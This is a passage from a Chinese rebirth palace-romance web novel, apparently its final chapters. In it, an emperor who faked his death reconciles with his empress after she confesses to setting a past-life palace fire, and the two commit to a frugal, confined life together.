“所以要逃回家中躲着朕?”男人句句紧逼,神情要吃人。 郁稚脆弱极了,一双手捧他侧颜,感受着他的体温,“你还活着,你怎么还活着?” 少女神情是欢喜的,男人稍稍褪去怒意。 郁稚瞧着他胜券在握的模样,突然醍醐灌顶,恍然大悟,“你诈死?!!你说回宫后要收拾我父兄,所以你诈死!!” 皇帝死后,鲁国公府的所作所为,足够他诛九族了。 皇帝不屑,“你此时才想明白?” 郁稚:“所以从江南回来以后,你是故意将我关起来,怕我坏你计谋?!” 郁稚:“还有戚离、是你一早命人放了戚离,欲擒故纵,你知道他肯定会教唆我父兄弑君,还有李勋,你知道他必定会参与谋反你一石三鸟!” 重生回来的萧歧怎么可能轻易死呢?是她太天真了,太天真了!! 萧歧:“若不是未央宫起火,朕可能还要死一阵子,躲在暗处看戏看得更久一些” 萧歧:“不过皇后方才那一出戏也很精彩,朕差点以为你被大火烧得失忆了。” “是你救了我么?”郁稚对眼前的男人心服口服,他耍起计谋来,旁人都不是他的对手。 “那不然还能是你那些旧情人么?” 少女泪光闪烁。 “不过究竟是谁纵火烧你,朕还要查一查。毕竟你再不堪,还是朕的皇后,你的生死必须握在朕手心里!”萧歧幽幽道,他说这话时眼底尽是杀意,“是李檀么?” “不是李檀!不是她!”郁稚否认,“陛下别错怪她,不是的。” 萧歧怎么会相信,像她这样的妖后,会自焚于未央宫殉情呢。 “那是谁?”萧歧问她,“告诉朕。” 郁稚眼神闪烁,“是意外走水了。” “真是这样么?”皇帝显然不信,攥起她的手腕,仔细端详她受伤的指尖,“手怎么伤了?” 因为那时她知道鲁国公要弑君,想从密道离开去通风报信,她砸墙砸得手鲜血淋漓。 “因为火势太旺逃不走,我想起密道,可惜已经被封死了。” “原来如此。”皇帝放下她的手,“留在这儿好好养伤,不许乱走坏朕的事,外面群狼环伺,朕需得借机好好对付!!” 郁稚点点头,她实在没有力气。 “你不担心,朕会如何处置戚离么?” 郁稚摇摇头,她与萧歧才是夫妻,旁的人她管不了了 皇帝竟还活着?!这消息无异于一道惊雷,叫这段时日乱舞的朝臣们各个瑟瑟发抖。 那日夜里,未央宫火光冲天,所有人都以为皇后要烧死在里面了,忽然间一队骑卫神兵天降,为首之人正是本该躺在大殿棺椁的皇帝! 一个即将入葬之人,活生生地出现在众人面前,不顾危险冲入未央宫救出皇后!!! 李檀不敢相信,在君王寝宫面前等候许久,终于见他出来。 “陛下,陛下?!”李檀百感交集,“陛下还活着!臣妾不知该如何欢喜才好!” 只是皇帝视线落在她身上,李檀的神情僵住。 她立即解释,“没有、不是、不是臣妾纵火!” 萧歧只是留下一句,“朕自会命人查清楚。” 随后几日,郁稚在皇帝寝宫养病,偶尔芍药会带来消息。 比如康王爷被贬为了庶民,比如她的父兄下了大狱。 芍药:“那个戚离与李勋一致口径,说是鲁国公夫子俩派遣杀手埋伏刺杀陛下。” 芍药带来这则消息,实是为郁稚这位皇后担心,父兄弑君,那她的未来一片渺茫凄楚。郁稚倒是很淡然,皇帝演这一出戏,便是为了收拾鲁国公府,他既然容她养伤,并未将她一道丢入大狱,可见自己的下场不会太惨。 只是她不明白,戚离与李勋竟然统一口径?除非他们皆是听从皇帝吩咐,这样想一切就都顺理成章了!! 后来她知道了是萧歧闯入未央宫救她。 若非未央宫起火,他还不打算现身,恐怕要到太子登基那一日才出面收拾那些跳梁小丑。 所以他为了她改变计划。 萧歧对她,终究念着夫妻情意,这一份情意比她所认知的更深刻 连续五日,她都困于寝宫养伤,未曾再见萧歧一面,外头消息铺天盖地,她这儿倒是清清静静的。 第六日夜里,她正用膳呢,皇帝出现了。 他看起来心情舒畅,处置了鲁国公府这个心头大患,自然十分快意。 “你不问问朕如何处置你父兄?” 郁稚摇头,“臣妾不想知道。” “那朕告诉你纵火的贼人抓住了,正是悠然宫那个叫纯儿的婢女。” “绝对不是她!”郁稚心急如焚,“陛下弄错了,不是纯儿,纯儿她绝对不会纵火。” “这么肯定?”皇帝将她任何细微的神情都收入眼底,“那皇后告诉朕,是谁要烧死你?” “反正不是纯儿!陛下不要冤枉好人!” “朕不揪出纵火之人,朕寝食难安,郁稚,告诉朕是谁?”萧歧一而再再而三地逼问。 郁稚焦虑不安,她不想让皇帝知道,她做出这样的蠢事! “难道是皇后自焚?”皇帝深深地望着她,言语试探,可又仿佛心有成竹。 郁稚不得不对上他的视线,眸光脆弱,他猜到了。 他捏起她的手,瞧着还未痊愈的伤,“芍药告诉朕,你这伤并非失火那日砸墙所致,而是要出来向朕通风报信。” “失火那日,你遣开了她与未央宫周围的禁军。” 所有的证据都指向一个事实,那日是她自焚未央宫! “为何要自焚?!” “因为因为我猜测你还活着,想要以此逼你现身。”郁稚想了个借口,“可是火势太大,密道又被墙堵死了,我出不去了。” “那上一世呢?上一世未央宫密道没有封,也出不去么?!” 向来波澜不惊的男人语气急切,他掌心攥着她受伤的手腕,灼灼的眼神里盛着一种叫做心疼的情愫。 郁稚沉默了,无论她想什么理由,都被拆穿了,她这些乱编的理由,在他这儿全不成立! “郁稚,为何要自焚于未央宫?”他语气强硬质问道! 郁稚已经泪流满面,皇帝要听到什么呢?要她说什么呢?!她脑子都乱了。 “臣妾说了、” “朕问你的是,上一世朕死之后,你为何要自焚于未央宫?” “因为我不想遭父兄摆布,做一个没有实权的傀儡!” 萧歧:“你说谎。”上一世她有野心有手段有心腹臣子,怎么可能遭人摆布! “朕再问你一遍,为何要自焚未央宫?!” 【终章】 第85章 第 85 章 此生再无分离…… 他一声声地质问她, 为何要自焚于未央宫。饶是如此铁石心肠的男人也想不通,他万般宠爱、捧在手心的皇后,怎么会死在未央宫大火之中呢? 回应他的是少女的沉默,以及混杂泪水的缠吻。 她冲动地、毫无章法地吻他, 手心贴合男人脸颊, 任由苦涩泪水侵入唇齿之间, “萧歧, 我错了” 微弱的嘤咛声从她口中溢出,“我早就后悔了, 上一世就后悔了” 她一双手臂转而紧紧环抱住男人炙热身躯!紧得仿佛要将两副身躯融到一起! “我不该善恶不分, 我不该因为瞿氏而恨你那么多年,也不该为了父兄而与你决裂” “可等我终于醒悟过来时,却听到了你的死讯,我也活不成了” 男人不动如山,听着少女声声哭诉,感受着她如同藤蔓一般缠裹他的身躯, 夜渐深了,她仍是一直哭, 一直哭, 泪水仿佛流不尽似的, 上一世那个倔强的、坏脾气的皇后不见了。 他一直毫无反应, 郁稚心中越来越彷徨,或许她的哭泣她的忏悔,在他眼中不过是另外一场欺骗? 他这样想也无可厚非,毕竟她是如此卑劣的女人。 郁稚渐渐将人放开,两人相对而坐,她哭得狼狈, 一双美目湿润通红,怯怯地望着他。 她觉得自己在皇帝眼中就是像跳梁小丑。 “重生回来以后,你一直央求朕饶了你那些臣子们,戚离江一城”他淡淡开口,郁稚感觉自己越发无地自容。 “但朕有时候会想,谁来饶恕朕呢?” 郁稚困惑皇帝的意思。 萧歧顿了顿,似乎知道现在与她说这些,她脑子会越发混沌。 “你说你错了重生回来以后,朕一直在等你这句话。” 啊?郁稚眸光颤动,所以他有在认真听她的话,不把她所说的当笑话?有了这般回应,她的心情也似雀鸟飞跃起来。 “疼不疼?”皇帝轻攥她纤柔手腕。 “啊?不疼的!我手上的伤、” 皇帝眸光认认真真瞧着她,“朕问你前世在未央宫、疼不疼?不许撒谎骗朕。” 她摇摇头,“不疼。”前世的记忆模糊了,疼痛也记不清了,记不清了,那就算做不疼了。“你呢?你前世在战场上是不是很疼很疼?”她说这话时,止不住地哭腔,泪水又滑落了,万箭穿心,必定是很疼的。 萧歧头一次知道,不可一世的妖后也会有这么多的眼泪。 “朕也不疼。”他用耳语般轻柔声音回应她,唇瓣一点一点吻掉她下颌的泪水 两个倔强的灵魂,两副炙热的身躯就此缠绵相拥,恨不得将对方揉进自己骨血 随后的时日郁稚一直留在皇帝寝宫安静养伤,不同的是他每一夜都回来。 皇帝下了罪己诏,称自己年少时嗜战不理朝政,不是一位明君,又说皇后年轻,并未成为天下女子的表率,总之长长的一篇,最后承诺将来必定勤于朝政、仁慈爱民,皇后也会担起国母之责。 朝堂上大刀阔斧地整顿,皇帝更是禁了后宫一切歌舞玩乐,有要将皇宫内苑变成一座牢笼的架势,而牢笼里只关他与皇后两人,这就是他向天下人谢罪的方式。 皇帝下令李檀等妃嫔移居行宫。 李檀自然不愿,“臣妾是陛下的妃嫔,哪有陛下还在宫中,臣妾则去行宫享乐的道理?!” 萧歧已经说得很明白了,可李檀太固执。 萧歧:“这两年你掌权治理后宫,能力卓绝,像你这样的女子不应该被困囿于宫中。朕允你去行宫,其实你是自由的,天地之大,你可以去任何地方。” “陛下是什么意思?!”李檀最担心的事终于发生了,她为妃这么多年,皇帝从来、从来都没有把她当做过他的女人,“陛下不要臣妾了么?” 皇帝没有多言,只是留下一句,“这座皇宫里,其实一直都只有朕与皇后两人。” 皇宫里当然不止帝后两人,皇帝是在告诉她,他的眼里只容得下郁稚这个皇后,再无旁人了。 这样的话最是伤人,可若不是这般伤人的狠话,李檀如此执拗之人是不会放手的 这番话是在皇帝寝宫说的,隔着厚厚的幕帘,郁稚躺在龙榻上养伤,她自然一字不落地全听进去了。 郁稚想着若她是李檀,必定会狠狠敲皇帝一笔银子,然后远走高飞,逍遥快活去!!! 只是正这么想着,皇帝就进内室了。 “都听见了?” “唔” “罪己诏下后,朕决意不再耽于声色,往后内苑不会有任何歌舞玩乐,衣食住行皆会很简朴。李檀会离开皇宫,你呢,皇后想离开么?”男人揶揄。 前几日还抱着她不松手,这会儿是什么意思? “若我说我要离开,陛下真会放我离开?” 男人神情更凛冽几分,又问一遍,“你想离开么?” “不离开,我陪着你。”少女巧笑倩兮,凑到皇帝面前紧紧抱住他,“不是你说的么?宫里只有我跟你两个人。你不必试探我,若我说要离开,你的神情必定要杀人了。你那份罪己诏里,有你自己,还有我,我也是罪人,我也要赎罪的,不过你是向天下人赎罪,而我则向你赎罪。罪名弑君,时长一生。” 男人神情稍稍缓和。 郁稚有些得意,“不过你那份罪己诏里,包不包括禁色啊?那我不太可能办得到。” “少油嘴滑舌。”皇帝正经与她说话,“前世你我都做得不好,于天下人有罪!” 皇帝:“从今往后,朕开始学做一位圣明的君王,而你也要当一位贤明的皇后。” 郁稚不笑了,她听得认真。 皇帝:“朕与你从此不踏出皇宫半步,一生困囿于皇宫。尤其是你,皇后,你的心性实在不好,前世朕是领教过的,从现在开始你要学习功课,熟读四书五经,做不做得到?” 郁稚认真点头,“臣妾做得到。” 萧歧:“你是享乐惯了的,但这一回朕是认真的,你不许动不动就发脾气,将朕关在寝宫外。” “我不会那样了,我发誓。” “也不许一言不合就偷偷离开皇宫,不许抱怨宫务繁杂就甩给朕!” “不许动用私刑,用阴谋诡计耍手段,做任何事都要光明磊落,叫那些言官无可指摘!” “臣妾知道啦” 皇帝同她说了很多话,给她定了许多条规矩,总而言之就是他们两人都要朝着明君贤后的路上走,绝对不能再走歪路,重蹈覆辙,不能再成了天下人口中的暴君妖后! 皇帝如此整改后宫,最终的结果就是,这一年年关,宫里有些冷清,皇帝撤了歌舞,年夜饭也命御厨精简了。 萧歧可不觉得冷清,他在边疆时除夕夜也是与将士们喝过酒然后独自在营帐独自度过。 两人饮了些酒,也没有一道守岁的打算,只是彼此承诺,明年都要励精图治,为着明君贤后的好名声而努力! 郁稚倒是不在乎妖后的名声,皇帝似乎对前世暴君的称呼很不喜欢。 郁稚:“其实陛下上一世率军打仗,开疆扩土,怎么能算暴君呢,这怪我,你暴君的名声怪到臣妾头上吧,都是叫臣妾给连累的” 真实的郁稚鲜明活泼,所以哪怕后宫削减了不少人,皇帝还是觉得每日都很吵闹。 皇帝抿了口酒告诉她:“朕一直都是这么想的。” 郁稚:“” 寝宫里暖融融的,郁稚命宫女们早早退下了,好去吃年夜饭。酒过三巡,郁稚不知怎么的就坐到皇帝怀里去了,横竖四周没有人,郁稚就这么时不时地小酌一口,与皇帝说着话。 “朕想起有一件事没有问你。”皇帝凝视着她,神情认真几分。 郁稚点点头,“问吧。”横竖她在他面前没有秘密了,也不心虚,问什么她都能答上来! 萧歧思虑过后才开口,“前世的最后你不是怀孕了么?” 郁稚刚吃了个花生米,神情顿时就凝住了,筷子还在唇边,“嗯” “李檀告诉朕,你落了那个孩子?到底有没有?”君王眼底流露心疼,想着若她没有落那个孩子,那是不是与她一道葬身火海,如此一来岂能叫他不更心疼她。 郁稚:“” “你实话告诉朕,不许说谎。” 郁稚尴尬笑笑,这个那个唔 “既然陛下一定要知道,那先说好,你不许生气。” “所以是落了那个孩子是么?”事到如今,皇帝也不怎么气她了,哪怕是这个答案,他听听也就不计较了。 郁稚笑得谄媚,“我自然是骗你的,我没有怀孕,那个时候我们两人势同水火,我怕你杀了父兄,又来收拾我,我才不得已出此下策” 她话还没说完,皇帝面上又浮现怒色。 “郁稚!” “朕一生都不会原谅你!!!”皇帝脾气养得再好,也总能被她轻易激起来。 郁稚吓得跳开,“我说了实话你又不高兴!” 随后的时日郁稚叫苦不迭,皇宫真成一座牢笼,皇帝铁了心要自苦,约束自己约束她,将自己与她一道关在这座牢笼里,她每日不是被逼着念书,就是帮皇帝处理政务。 然而郁稚离不开,像她这样的人需要这一座牢笼,这一副镣铐,需要禁锢得她喘不过气的汹涌爱意。 皇帝困她大半年之后,郁稚的目标压根不是讨什么贤后名声,她只想忽悠萧歧与她一道去皇城里的天醉楼吃招牌菜,尚未成功,暴君可固执了,但她是绝对不会放弃的! 岁月悠长,暴君将他自己与妖后锁在这座樊笼,而她也将用这漫长的一生来赎前世的罪。正如寝宫中那台盏最精致华丽的宫灯,灯芯交织缠绵,二人此生再无分离。